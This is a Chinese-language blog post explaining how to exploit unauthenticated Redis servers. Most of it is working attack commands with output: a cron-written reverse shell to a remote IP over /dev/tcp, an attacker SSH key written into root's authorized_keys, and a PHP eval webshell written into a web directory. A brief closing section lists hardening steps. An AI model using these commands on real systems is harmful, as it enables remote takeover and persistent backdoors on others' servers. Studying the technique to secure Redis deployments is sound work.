首页 » NetworkSec » Penetration » 正文

redis未授权访问漏洞利用

0x00 基本命令

还有flushall
修改相关配置以重现漏洞
config:
redis.windows.conf:
bind 0.0.0.0
Protected-mode no
redis-server.exe “redis.windows.conf”
/*
redis持久化存储
dump.rdp文件:
RDB可以将某一时刻的所有数据写入硬盘中,通过RDB文件,可以将redis数据恢复到某一历史时刻(snapshots)。
 
save/bgsave
save 900 1
save 300 10
save 60 10000

AOF会在redis执行写命令时,将被执行的写命令复制到磁盘aof文件中,恢复数据的时候,redis会在原有基础上依次执行AOF文件中的写命令,从而恢复数据。
 
appendonly yes
appendfilename “appendonly.aof”
appendfsync everysec
*/

0x01 反弹shell

192.168.138.129:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.43.237/7788 0>&1\n”
OK
192.168.138.129:6379> config set dir /var/spool/
OK
192.168.138.129:6379> config set dbfilename root
OK
192.168.138.129:6379> save

未能成功反弹,原因可能是debian,ubuntu的计划任务的格式很严格,须执行
crontab -u root /var/spool/cron/crontabs/root
通过语法检查才能执行计划任务。
也可能是权限或格式(不能有其他脏字符)问题。
只有centos能成功。
 

0x02 添加ssh key

或者
cat sshpubkey.txt | redis-cli -h 192.168.138.129 -x set x
$ redis-cli -h 192.168.138.129
$ 192.168.138.129:6379> config set dir /root/.ssh/
OK
$ 192.168.138.129:6379> config get dir
1) “dir”
2) “/root/.ssh”
$ 192.168.138.129:6379> config set dbfilename “authorized_keys”
OK
$ 192.168.138.129:6379> save
OK
 

0x03 Web目录写webshell

192.168.43.237:6379> config set dir D:\phpStudy\WWW\
OK
192.168.43.237:6379> config set dbfilename redishell.php
OK
192.168.43.237:6379> set rs “<?php @eval($_POST[x]);?>”
OK
192.168.43.237:6379> save

 

0x04 防御方案

1. 加密码
redis.conf:
requirepass mypassword
 
2. 本地访问:
redis.conf:
bind 127.0.0.1
 
3. 改权限
chmod 400 ~/.ssh/authorized_keys
chattr +i ~/.ssh/authorized_keys
chattr +i ~/.ssh
 
 

Comment

please input captcha *